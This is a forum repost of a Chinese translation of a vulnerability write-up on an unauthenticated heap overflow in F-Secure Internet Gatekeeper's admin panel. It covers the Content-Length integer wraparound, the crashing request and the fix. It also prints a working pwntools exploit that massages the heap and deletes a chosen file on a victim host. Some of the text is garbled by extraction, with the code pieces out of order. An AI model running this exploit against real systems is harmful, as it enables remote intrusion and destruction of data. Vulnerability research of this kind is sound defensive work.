搜索

[15075] 2020-02-29_F-SecureInternetGatekeeper中的堆溢出漏洞分析

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2020-02-29_F-SecureInternetGatekeeper中的堆溢出漏洞分析 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 中 的 堆 溢 出 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 2 9 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 堆 溢 出 漏 洞 介 绍 堆 溢 出 漏 洞 介 绍 在 这 篇 文 章 中 ， 我 们 将 对 在 这 篇 文 章 中 ， 我 们 将 对 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 应 用 程 序 中 的 一 个 堆 溢 出 漏 洞 进 行 解 析 ， 并 介 绍 为 何 一 应 用 程 序 中 的 一 个 堆 溢 出 漏 洞 进 行 解 析 ， 并 介 绍 为 何 一 个 简 单 的 错 误 就 导 致 了 一 个 可 利 用 的 未 认 证 远 程 代 码 执 行 漏 洞 存 在 。 个 简 单 的 错 误 就 导 致 了 一 个 可 利 用 的 未 认 证 远 程 代 码 执 行 漏 洞 存 在 。 漏 洞 复 现 环 境 搭 建 漏 洞 复 现 环 境 搭 建 在 我 们 的 实 验 环 境 下 ， 所 有 的 漏 洞 复 现 与 测 试 都 在 一 台 C e n t O S 虚 拟 机 中 进 行 ， 虚 拟 机 配 置 为 至 少 1 个 处 理 器 和 4 G B R A M 。 接 下 来 ， 下 载 F - S e c u r e   I n t e r n e t   G a t e k e e p e r ： h t t p s : / / w w w . f - s e c u r e . c o m / e n / b u s i n e s s / d o w n l o a d s / i n t e r n e t - g a t e k e e p e r   但 是 现 在 ， 厂 商 已 经 下 架 了 存 在 漏 洞 的 产 品 。 受 影 响 版 本 的 产 品 包 受 影 响 版 本 的 产 品 包 S H A 2 5 6 如 下 ： 如 下 ：
1 5 8 2 a a 7 7 8 2 f 7 8 f c f 0 1 f c c f e 0 b 5 9 f 0 a 2 6 b 4 a 9 7 2 0 2 0 f 9 d a 8 6 0 c 1 9 c 1 0 7 6 a 7 9 c 8 e 2 6 安 装 步 骤 ： 安 装 步 骤 ： 1 、 如 果 你 使 用 的 是 x 6 4 版 本 的 C e n t O S ， 请 运 行 下 列 命 令 ： y u m   i n s t a l l   g l i b c . i 6 8 6 ； 2 、 然 后 ， 运 行 下 列 命 令 安 装 F - S e c u r e   I n t e r n e t   G a t e k e e p e r ； r p m   - I . r p m 3 、 为 了 方 便 调 试 ， 请 安 装 g d b   8 + 和 g e f 。 h t t p s : / / g i t h u b . c o m / h u g s y / g e f 现 在 ， 我 们 已 经 可 以 使 用 G H I D R A / I D A 或 者 其 他 反 汇 编 / 反 编 译 工 具 来 对 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 进 行 逆 向 分 析 了 。 漏 洞 分 析 漏 洞 分 析 根 据 F - S e c u r e 提 供 的 信 息 ， F - S e c u r e   I n t e r n e t   G a t e k e e p e r 是 一 款 “ 高 效 且 易 管 理 的 企 业 网 络 网 关 级 的 安 全 防 护 解 决 方 案 ” 。 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 包 含 一 个 运 行 在 9 0 1 2 / t c p 端 口 上 的 控 制 面 板 ， 该 面 板 可 以 用 来 控 制 产 品 中 所 有 可 用 的 服 务 以 及 规 则 ， 例 如 H T T P 代 理 和 I M A P 代 理 等 等 。 这 个 控 制 面 板 可 以 通 过 H T T P 协 议 访 问 ， 这 个 特 性 由 采 用 C 语 言 开 发 的 f s i k g w e b u i 程 序 实 现 。 实 际 上 ， 整 个 W e b 服 务 端 都 采 用 了 C / C + + 开 发 ， 其 中 也 有 部 分 组 件 使 用 了 C i v e t W e b 的 代 码 ， 因 此 我 们 可 以 认 为 服 务 端 很 可 能 使 用 的 是 自 定 义 版 本 的 C i v e t W e b 。 由 于 服 务 端 采 用 的 是 C / C + + 开 发 的 ， 因 此 我 们 就 可 以 尝 试 去 寻 找 其 中 是 否 存 在 内 存 崩 溃 漏 洞 了 ， 因 为 这 种 语 言 开 发 的 应 用 程 序 经 常 会 存 在 这 种 安 全 问 题 。 在 这 里 ， 我 们 选 择 使 用 F u z z o t r o n 来 对 管 理 员 控 制 面 板 进 行 模 糊 测 试 。 F u z z o t r o n 是 一 款 功 能 强 大 的 模 糊 测 试 工 具 ， 它 使 用 R a d a m s a 作 为 底 层 引 擎 驱 动 ， 并 且 内 置 T C P 支 持 ， 以 便 于 对 网 络 服 务 进 行 模 糊 测 试 。 对 于 测 试 用 例 ， 我 们 选 用 了 一 个 用 于 更 改 管 理 员 控 制 面 板 语 言 设 置 的 有 效 P O S T 请 求 ， 而 且 未 授 权 用 户 可 以 发 起 该 请 求 ， 因 此 非 常 适 合 我 们 的 测 试 场 景 。 在 分 析 R a d a m s a 经 过 变 异 处 理 的 输 入 样 例 时 ， 我 们 可 以 看 到 该 漏 洞 与 C o n t e n t - L e n g t h   H e a d e r 有 关 。 导 致 软 件 崩 溃 的 测 试 用 例 H e a d e r 值 为 ： C o n t e n t - L e n g t h :   2 1 4 8 7 4 8 3 8 4 4 ， 这 表 明 溢 出 漏 洞 与 整 数 计 算 错 误 有 关 。 在 g d b 中 调 试 测 试 用 例 之 后 ， 我 们 发 现 导 致 崩 溃 的 代 码 位 于 f s _ h t t p d _ c i v e t w e b _ c a l l b a c k _ b e g i n _ r e q u e s t 函 数 中 ， 这 个 函 数 主 要 负 责 处 理 入 栈 连 接 ， 并 且 根 据 H T T P 请 求 类 型 、 地 址 路 径 或 C o o k i e 来 将 请 求 转 发 给 相 关 的 函 数 进 行 下 一 步 处 理 。 在 漏 洞 的 复 现 过 程 中 ， 我 们 需 要 向 管 理 员 控 制 面 板 所 使 用 的 端 口 9 0 1 2 发 送 P O S T 请 求 ， 我 们 在 其 中 设 置 了 一 个 非 常 大 的 C o n t e n t - L e n g t h   H e a d e r 值 ： 目 标 应 用 程 序 会 对 该 请 求 进 行 解 析 ， 并 执 行 f s _ h t t p d _ g e t _ h e a d e r 函 数 来 获 取 C o n t e n t - L e n g t h 值 。 接 下 来 ， 该 字 段 值 会 被 传 递 给 s t r t o u l 函 数 （ 将 字 符 串 转 换 为 无 符 号 长 整 型 ） 进 行 处 理 。 P O S T   / s u b m i t   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 0 . 2 4 : 9 0 1 2 C o n t e n t - L e n g t h :   2 1 4 8 7 4 8 3 8 4 4 A A A A A A A A A A A A A A A A A A A A A A A A A A A
上 述 控 制 流 对 应 的 伪 代 码 如 下 ： s t r t o u l 函 数 的 返 回 值 是 一 个 无 符 号 的 长 整 型 ， 它 在 3 2 位 系 统 上 的 最 大 值 为 2 ^ 3 2 - 1 。 由 于 我 们 提 供 的 C o n t e n t - L e n g t h 对 无 符 号 长 整 型 来 说 太 长 了 ， 因 此 s t r t o u l 函 数 会 返 回 U L O N G _ M A X 值 （ 原 始 值 发 生 溢 出 ） ， 那 么 在 3 2 位 系 统 上 对 应 的 值 就 是 0 x F F F F F F F F 。 当 f s _ h t t p d _ c i v e t w e b _ c a l l b a c k _ b e g i n _ r e q u e s t 函 数 尝 试 执 行 m a l l o c 请 求 来 为 数 据 分 配 空 间 时 ， 首 先 会 在 C o n t e n t _ L e n g t h 变 量 上 加 1 ， 然 后 再 调 用 m a l l o c 函 数 。 相 应 的 伪 代 码 如 下 ： 由 于 0 x F F F F F F F F   +   1 后 将 导 致 整 数 溢 出 ， 最 终 得 到 的 结 果 为 0 x 0 0 0 0 0 0 0 0 ， 从 而 导 致 m a l l o c 分 配 大 小 为 0 个 字 节 的 内 存 空 间 。 调 用 m a l l o c ( 0 ) 时 ， 该 函 数 会 返 回 指 向 堆 的 一 个 有 效 指 针 ， 该 指 针 指 向 的 是 最 小 的 一 个 c h u n k （ 大 小 为 0 x 1 0 字 节 ） 。 进 一 步 分 析 后 ， 我 们 可 以 看 到 代 码 中 还 调 用 了 m g _ r e a d 函 数 ： 发 生 溢 出 后 ， 上 述 代 码 会 读 取 堆 中 任 意 数 量 的 数 据 ， 并 且 没 有 任 何 约 束 ， 这 就 非 常 方 便 进 行 漏 洞 利 用 了 。 此 时 ， 我 们 可 以 停 止 向 H T T P 流 写 入 数 据 ， 目 标 软 件 会 直 接 关 闭 连 接 并 继 续 执 行 操 作 流 。 这 样 一 来 ， 我 们 就 可 以 完 全 控 制 需 要 写 入 的 数 据 了 。 漏 洞 利 用 漏 洞 利 用 P o C c o n t e n t _ l e n   =   f s _ h t t p d _ g e t _ h e a d e r ( h e a d e r _ s t r u c t ,   " C o n t e n t - L e n g t h " ) ; i f   (   c o n t e n t _ l e n   ) {       c o n t e n t _ l e n _ n e w   =   s t r t o u l ( c o n t e n t _ l e n _ o l d ,   0 ,   1 0 ) ; } / /   f s _ m a l l o c   = =   m a l l o c d a t a _ b y _ p o s t _ o n _ h e a p   =   f s _ m a l l o c ( c o n t e n t _ l e n _ n e w   +   1 ) / /   c o n t e n t _ l e n _ n e w   i s   w i t h o u t   t h e   a d d i t i o n   o f   0 x 1 . / /   s o   c o n t e n t _ l e n _ n e w   = =   0 x F F F F F F F F i f ( c o n t e n t _ l e n _ n e w ) {         i n t   b y t e s _ r e a d   =   m g _ r e a d ( h e a d e r _ s t r u c t ,   d a t a _ b y _ p o s t _ o n _ h e a p ,   c o n t e n t _ l e n _ n e w ) } f r o m   p w n   i m p o r t   * i m p o r t   t i m e i m p o r t   s y s d e f   s e n d _ p a y l o a d ( p a y l o a d ,   c o n t e n t _ l e n = 2 1 4 8 7 4 8 3 8 4 4 ,   n o f u n = F a l s e ) :         r   =   r e m o t e ( s y s . a r g v [ 1 ] ,   9 0 1 2 )         r . s e n d ( " P O S T   /   H T T P / 1 . 1 n " )         r . s e n d ( " H o s t :   1 9 2 . 1 6 8 . 0 . 1 2 2 : 9 0 1 2 n " )         r . s e n d ( " C o n t e n t - L e n g t h :   { } n " . f o r m a t ( c o n t e n t _ l e n ) )         r . s e n d ( " n " )         r . s e n d ( p a y l o a d )         i f   n o t   n o f u n :                 r . s e n d ( " n n " )         r e t u r n   r
漏 洞 修 复 漏 洞 修 复 F - S e c u r e 针 对 该 安 全 问 题 分 配 的 编 号 为 F S C - 2 0 1 9 - 3 ， 目 前 F - S e c u r e 已 在 F - S e c u r e   I n t e r n e t   G a t e k e e p e r 的 v 5 . 4 0 – 5 . 5 0   h o t f i x   8   ( 2 0 1 9 - 0 7 - 1 1 ) 版 本 中 修 复 了 该 漏 洞 。 参 考 资 料 参 考 资 料 L i n u x 堆 溢 出 漏 洞 利 用 ： 堆 溢 出 漏 洞 利 用 ： 1 、 L i n u x   H e a p   E x p l o i t a t i o n   I n t r o   S e r i e s :   S e t   y o u   f r e e ( )   –   p a r t   1 2 、 L i n u x   H e a p   E x p l o i t a t i o n   I n t r o   S e r i e s :   S e t   y o u   f r e e ( )   –   p a r t   2 G L i b C ： ： 1 、 G L i b C   M a l l o c   f o r   E x p l o i t e r s   –   Y o u T u b e d e f   t r i g g e r _ e x p l o i t ( ) :         p r i n t   " T r i g g e r i n g   e x p l o i t "         p a y l o a d   =   " "         p a y l o a d   + =   " A "   *   1 2                           #   P a d d i n g         p a y l o a d   + =   p 3 2 ( 0 x 1 d )                         #   F a s t   b i n   c h u n k   o v e r w r i t e         p a y l o a d   + =   " A " *   4 8 8                           #   P a d d i n g         p a y l o a d   + =   p 3 2 ( 0 x d d a 0 0 7 7 1 )             #   A d d r e s s   o f   p a y l o a d         p a y l o a d   + =   p 3 2 ( 0 x d d a 0 0 7 7 1 + 4 )         #   J u n k         r   =   s e n d _ p a y l o a d ( p a y l o a d ) d e f   m a s s a g e _ h e a p ( f i l e n a m e ) :                 p r i n t   " T r y i n g   t o   m a s s a g e   t h e   h e a p . . . . . "                 f o r   x   i n   x r a n g e ( 1 0 0 ) :                         p a y l o a d   =   " "                         p a y l o a d   + =   p 3 2 ( 0 x 0 )                           #   N e e d e d   t o   b y p a s s   c h e c k s                         p a y l o a d   + =   p 3 2 ( 0 x 0 )                           #   N e e d e d   t o   b y p a s s   c h e c k s                         p a y l o a d   + =   p 3 2 ( 0 x d d a 0 0 7 7 d )             #   P o i n t s   t o   w h e r e   t h e   f i l e n a m e   w i l l   b e   i n   m e m o r y                         p a y l o a d   + =   f i l e n a m e   +   " x 0 0 "                         p a y l o a d   + =   " C " * ( 0 x 3 0 0 - l e n ( p a y l o a d ) )                         r   =   s e n d _ p a y l o a d ( p a y l o a d ,   c o n t e n t _ l e n = 0 x 8 0 0 0 0 ,   n o f u n = T r u e )                         r . c l o s e ( )                         c u t _ c o n n   =   T r u e                 p r i n t   " H e a p   m a s s a g e   d o n e " i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         i f   l e n ( s y s . a r g v )   ! =   3 :                 p r i n t   " U s a g e :   . / { }   < v i c t i m _ i p >   < f i l e _ t o _ r e m o v e > " . f o r m a t ( s y s . a r g v [ 0 ] )                 p r i n t   " R u n   ` e x p o r t   P W N L I B _ S I L E N T = 1 `   f o r   d i s a b l i n g   v e r b o s e   c o n n e c t i o n s "                 e x i t ( )         m a s s a g e _ h e a p ( s y s . a r g v [ 2 ] )         t i m e . s l e e p ( 1 )         t r i g g e r _ e x p l o i t ( )         p r i n t   " E x p l o i t   f i n i s h e d .   { }   i s   n o w   r e m o v e d   a n d   r e m o t e   p r o c e s s   s h o u l d   b e   c r a s h e d " . f o r m a t ( s y s . a r g v [ 2 ] )
2 、 U n d e r s t a n d i n g   t h e   G L i b C   I m p l e m e n t a t i o n   –   P a r t   1 3 、 U n d e r s t a n d i n g   t h e   G L i b C   I m p l e m e n t a t i o n   –   P a r t   2 相 关 工 具 ： 相 关 工 具 ： 1 、 G E F ： h t t p s : / / g i t h u b . c o m / h u g s y / g e f 2 、 V i l l o c ： h t t p s : / / g i t h u b . c o m / w a p i f l a p i / v i l l o c * 参 考 来 源 ： 参 考 来 源 ： d o y e n s e c ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理